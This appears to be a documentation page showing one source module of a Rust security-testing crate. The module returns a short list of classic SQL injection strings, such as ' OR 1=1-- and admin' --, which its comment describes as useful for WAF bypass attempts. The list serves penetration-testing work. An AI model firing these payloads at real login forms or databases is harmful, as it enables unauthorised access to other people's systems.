attackstr 0.2.3

Grammar-based security payload generation - TOML-driven, composable, encoding-aware
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//! Legacy SQL injection (`SQLi`) rule payloads and validators.
//!
//! This module isolates legacy string-based and static exploitation rules
//! that are not comprehensively handled by the generic grammar engine.

/// Get a list of legacy `SQLi` payloads that have historically proven effective
/// across various WAF bypass attempts.
pub fn legacy_sqli_payloads() -> Vec<&'static str> {
    vec![
        "' OR 1=1--",
        "\" OR 1=1--",
        "' OR '1'='1",
        "\" OR \"1\"=\"1",
        "admin' --",
        "admin\" --",
    ]
}